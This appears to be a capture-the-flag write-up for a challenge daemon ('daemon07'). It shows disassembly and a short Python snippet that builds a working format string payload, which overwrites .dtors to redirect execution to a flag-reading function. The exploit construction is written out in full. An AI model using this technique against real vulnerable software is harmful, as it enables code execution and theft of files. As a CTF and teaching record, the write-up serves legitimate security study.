Analyzing main
There really is nothing to analyze here. It’s plain to see that the last printf
was called without any format string.
.text:08048A8E main proc near ; DATA XREF: start+17↑o .text:08048A8E .text:08048A8E var_118 = dword ptr -118h .text:08048A8E var_114 = dword ptr -114h .text:08048A8E var_110 = dword ptr -110h .text:08048A8E var_108 = dword ptr -108h .text:08048A8E .text:08048A8E push ebp .text:08048A8F mov ebp, esp .text:08048A91 sub esp, 118h ; char * .text:08048A97 and esp, 0FFFFFFF0h .text:08048A9A mov eax, 0 .text:08048A9F add eax, 0Fh .text:08048AA2 add eax, 0Fh .text:08048AA5 shr eax, 4 .text:08048AA8 shl eax, 4 .text:08048AAB sub esp, eax .text:08048AAD mov [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"... .text:08048AB4 call _printf .text:08048AB9 mov [esp+118h+var_118], offset aSecretCode ; "Secret Code: " .text:08048AC0 call _printf .text:08048AC5 mov eax, ds:stdout .text:08048ACA mov [esp+118h+var_118], eax .text:08048ACD call _fflush .text:08048AD2 mov [esp+118h+var_110], 100h .text:08048ADA lea eax, [ebp+var_108] .text:08048AE0 mov [esp+118h+var_114], eax .text:08048AE4 mov [esp+118h+var_118], 0 .text:08048AEB call _read .text:08048AF0 mov ds:dword_8052998, eax .text:08048AF5 mov [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt" .text:08048AFD mov eax, ds:dword_8052998 .text:08048B02 mov [esp+118h+var_114], eax .text:08048B06 lea eax, [ebp+var_108] .text:08048B0C mov [esp+118h+var_118], eax .text:08048B0F call sub_80489C4 .text:08048B14 mov [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.nDebug Input : " .text:08048B1B call _printf .text:08048B20 lea eax, [ebp+var_108] .text:08048B26 mov [esp+118h+var_118], eax .text:08048B29 call <strong>_printf</strong> .text:08048B2E mov eax, 0 .text:08048B33 leave .text:08048B34 retn .text:08048B34 main endp
Exploit it
So, it’s a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at 08048A32
.
.text:08048A32 ; --------------------------------------------------------------------------- .text:08048A32 push ebp .text:08048A33 mov ebp, esp .text:08048A35 sub esp, 48h .text:08048A38 mov dword ptr [esp+4], offset aR ; "r" .text:08048A40 mov dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt" .text:08048A47 call _fopen .text:08048A4C mov [ebp-0Ch], eax .text:08048A4F mov eax, [ebp-0Ch] .text:08048A52 mov [esp+8], eax .text:08048A56 mov dword ptr [esp+4], 20h .text:08048A5E lea eax, [ebp-38h] .text:08048A61 mov [esp], eax .text:08048A64 call _fgets .text:08048A69 mov eax, [ebp-0Ch] .text:08048A6C mov [esp], eax .text:08048A6F call _fclose .text:08048A74 lea eax, [ebp-38h] .text:08048A77 mov [esp+4], eax .text:08048A7B mov dword ptr [esp], offset aS ; "n%s" .text:08048A82 call _printf .text:08048A87 mov eax, 0 .text:08048A8C leave .text:08048A8D retn
These few lines of Python code are all it takes to construct an exploit.
dtors_addr = 0x08052804 target_addr = 0x08048A32 offset = 8 junk_cnt0 = offset * 4 junk_cnt1 = (target_addr & 0xFFFF) - junk_cnt0 junk_cnt2 = 0x10000 + ((target_addr & 0xFFFF0000) >> 16) - junk_cnt1 - junk_cnt0 fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2) fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset) fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1) fmtstring += "n" # send this string to port 7777, will ya?
Observation
Unlike daemon05, we need not flush the buffer in printf
because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let’s find out why.
.dtors:08052800 _dtors segment dword public 'DATA' use32 .dtors:08052800 assume cs:_dtors .dtors:08052800 ;org 8052800h .dtors:08052800 db 0FFh .dtors:08052801 db 0FFh .dtors:08052802 db 0FFh .dtors:08052803 db 0FFh .dtors:08052804 db 0 .dtors:08052805 db 0 .dtors:08052806 db 0 .dtors:08052807 db 0 .dtors:08052807 _dtors ends .dtors:08052807 .jcr:08052808 ; --------------------------------------------------------------------------- .jcr:08052808 .jcr:08052808 ; Segment type: Pure data .jcr:08052808 ; Segment permissions: Read/Write .jcr:08052808 _jcr segment dword public 'DATA' use32 .jcr:08052808 assume cs:_jcr .jcr:08052808 ;org 8052808h .jcr:08052808 db 0 .jcr:08052809 db 0 .jcr:0805280A db 0 .jcr:0805280B db 0 .jcr:0805280B _jcr ends
Right after .dtors is .jcr which is filled with four 00
, which incidentally is also the end marker for .dtors. So, when we overwrite 08052804
with the value 08048A32
, we happen to insert a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the fflush
code in main
, which is at 08048AC5
. This is still doable by extending our format string to have two more %hn
overwrites.
Oh, and thank you, xWinGs, for these easy points.